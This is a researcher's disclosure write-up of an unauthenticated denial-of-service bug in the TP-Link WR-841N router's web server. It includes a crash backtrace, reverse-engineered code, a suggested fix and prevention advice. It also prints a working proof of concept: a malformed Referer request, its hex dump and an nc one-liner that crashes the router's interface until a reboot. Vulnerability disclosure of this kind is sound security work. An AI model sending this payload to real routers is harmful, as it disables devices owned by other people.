Skip to main content

TP-Link WR-841N Denial of Service vulnerability

Published: October 31, 2026

Unauthenticated users can take down the user interface on TP-Link WR-841N routers with malformed HTTP requests4. 248 days after my initial report, TP-Link assigned CVE-2025-9014 and released a patch on January 15, 2026.

This denial of service vulnerability affects the /usr/bin/httpd web server and user interface on the WR-841N router. The router firmware's /usr/bin/cos init process that's responsible for launching the web server fails to restart it.

This means that once an unauthenticated user crashes the /usr/bin/httpd web server, the TP-Link WR-841N's user interface stays inoperable until you manually restart the router. When the router is in a remote location that can take up time.

The vulnerability is highly exploitable using automation. The only remedy is to update the router firmware.

Under certain conditions attackers can trigger this vulnerability from anywhere on the internet. This screenshot shows how you can configure the TP-Link WR-841N to be accessible from anywhere on the internet for remote administration.
Under certain conditions attackers can trigger this vulnerability from anywhere on the internet. This screenshot shows how you can configure the TP-Link WR-841N to be accessible from anywhere on the internet for remote administration. Open in new tab (full image size 79.1 KB)

You can configure the TP-Link WR-841N router to expose its web server and user interface to the internet. In that case, any unauthorized user on the internet can repeatedly crash part of the TP-Link WR-841N router firmware.

Timeline

Vulnerable product

I found the vulnerability in the Japan version of the TP-Link WR-841N router. The same vulnerability exists in other regional versions of this router.

Manufacturer page for this router in Japanese

You can buy this router from Amazon Japan for JPY2,660. There, the router has a 4.02 rating with 2,539 reviews.

TP-Link WR-841N Administration landing page lists firmware build 241230 and hardware version 14
TP-Link WR-841N Administration landing page lists firmware build 241230 and hardware version 14 Open in new tab (full image size 93.9 KB)

I found the vulnerability in the following firmware version, the most recent one on 2025-05-20:

0.9.1 4.19 v0188.0 Build 241230 Rel.52013n

This same administration page on the router shows the following hardware version:

TL-WR841N v14 00000014

Vulnerability details

Exploit code executed in terminal. After that, you can't connect to the router's user interface until you manually restart it.
Exploit code executed in terminal. After that, you can't connect to the router's user interface until you manually restart it. Open in new tab (full image size 21.2 KB)

When you pass an evil Referer header to the web server it incorrectly parses your header and looks up a null pointer. This crashes the web server with a segmentation fault.

Here's the evil Referer:

Referer:http://\r\n

This is the complete request:

 / \r\n
Host:0\r\n
Referer:http://\r\n

Here's the payload hex dump:

00000000: 202f 200d 0a48 6f73 743a 300d 0a52 6566   / ..Host:0..Ref
00000010: 6572 6572 3a68 7474 703a 2f2f 0d0a       erer:http://..

From evil input to vulnerable condition

Here are the relevant back trace and registers when triggering this vulnerability. The web server runs inside QEMU's MIPS user land emulator:

Program received signal SIGSEGV, Segmentation fault.
0x2b5e8708 in cnet_addrStrToNum ()
   from target:/home/debian/projects/tplink/root-tar/lib/libcutil.so
backtrace
#0  0x2b5e8708 in cnet_addrStrToNum ()
   from target:/home/debian/projects/tplink/root-tar/lib/libcutil.so
#1  0x00406a74 in http_parser_main ()
Backtrace stopped: frame did not save the PC
registers
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 fffffff8 ffffffff ffffffff 00000000 2b2a3080 00000000 2b2a3274
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   2b52e8e8 2b529708 00000000 ffffffff 2b2ac000 f0000000 00000001 2b6b57f8
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  00000000 2b2a30c0 2b2a3273 0042b240 004e10b0 0042b254 0000000b 00430000
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  0000004f 2b56fe00 00000000 00000000 2b609730 2b2a3060 00440000 2b5e86f8
            sr       lo       hi      bad    cause       pc
      20000010 000323ff 00000325 00000000 00000000 2b5e8708
           fsr      fir
      00000000 00739300

The following shows the reverse engineered source code where the web server crashes:

int http_parser_main(
    socket_container *connection_info,
    FILE *fd
)
{
    /* a lot of other code */
    another_reference_at_http_headers = "\t";
    refer_domain_part = strtok(
        refer_value_after_http_cpy,
        "/"
    );
    referer_without_port = strtok(
        refer_domain_part,
        ":"
    );
    /* crash here because no domain in just `http://` */
    is_ok = cnet_addrStrToNum(
        referer_without_port,
        &some_depth_param
    );
    /* the rest of the function */
}

When this function calls cnet_addrStrToNum, the following (reverse engineered) code runs:

int cnet_addrStrToNum(
    char *ip_address,
    in_addr_t *addr
)
{
  int success;
  int result;
  in_addr dest;

  success = os_inet_aton(ip_address,&dest);
  if (success == -1) {
    result = -1;
    // Crash here
    if (*ip_address != '\0') {
      cdbg_printf(8,"cnet_addrStrToNum",0x286,"Error ip is %s\n");
      result = -1;
    }
  }
  else {
    *addr = dest.s_addr;
    result = 0;
  }
  return result;
}

ip_address holds a null pointer. The web server crashes when cnet_addrStrToNum looks up the IP address pointer right here:

        00012708 0x44   00 00 03 82  lb         v1,0x0(s0)

Suggested fix

You can fix this vulnerability by adding a null pointer check before calling cnet_addrStrToNum:

int http_parser_main(
    socket_container *connection_info,
    FILE *fd
)
{
    /* a lot of other code */
    another_reference_at_http_headers = "\t";
    refer_domain_part = strtok(
        refer_value_after_http_cpy,
        "/"
    );
    referer_without_port = strtok(
        refer_domain_part,
        ":"
    );
    if (!referer_without_port) {
        error = "Missing referer";
        goto error;
    }
    is_ok = cnet_addrStrToNum(
        referer_without_port,
        &some_depth_param
    );
    /* the rest of the function */
}

Proof-of-concept

Here's a Bash snippet with payload that reproduces the crash:

echo -e " / \r\nHost:0\r\nReferer:http://\r\n" |
    nc 192.168.0.1 80

If you run this snippet, the web server crashes and you can't connect to it on port 80. The router's init process never attempts to restart the web server.

Vulnerable machines

Search results for TP-Link and port 80 on shodan.io
Search results for TP-Link and port 80 on shodan.io Open in new tab (full image size 98.5 KB)

After finding this vulnerability I tried to estimate how many routers with this vulnerability expose themselves to the internet. While I found some results, these might as well be honeypots.

Not every TP-Link router exposes its user interface to the internet. Within the 14,933 search results, some may be WR841N routers. I found at least one.

Prevention tips

I want to end this writeup with some notes on how to prevent vulnerabilities like the one described here.

  1. Use an off-the-shelf HTTP and web server
  2. If you can't use a memory safe language, verify null pointer check coverage in your code
  3. Fuzz your parser code
  4. Avoid C string functions like strtok. strtok_s isn't automatically safer either.
  5. Assume your code is exploitable and mitigate exploitation impact:
    • Isolate your processes with users and groups. This router runs everything as one user.
    • Restart and check liveness of processes. /usr/bin/cos doesn't.
    • If restarting isn't possible, at an OS-level restart watchdog
  6. Either completely avoid IPC over shmem and Unix sockets or use battle-tested methods. /usr/bin/cos and /usr/bin/httpd talk to each other with Unix domain sockets for configuration and use System V shmem. This IPC mechanism uses unsafe serialization and can sidestep any process isolation
  7. Provide a secondary mechanism to restart your hardware other than physically unplugging it.
  8. Avoid MIPS. It has strictly inferior tooling compared to ARM Cortex-M. Example: Third tier support for Rust on MIPS

  1. That's strictly longer than 90 days ↩

  2. Some praise: "素晴らしすぎるコスパ" "unbelievably good cost performance" ↩

  3. CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N ↩

  4. CWE-20: Improper Input Validation ↩

Tags

I would be thrilled to hear from you! Please share your thoughts and ideas with me via email.

Back to Index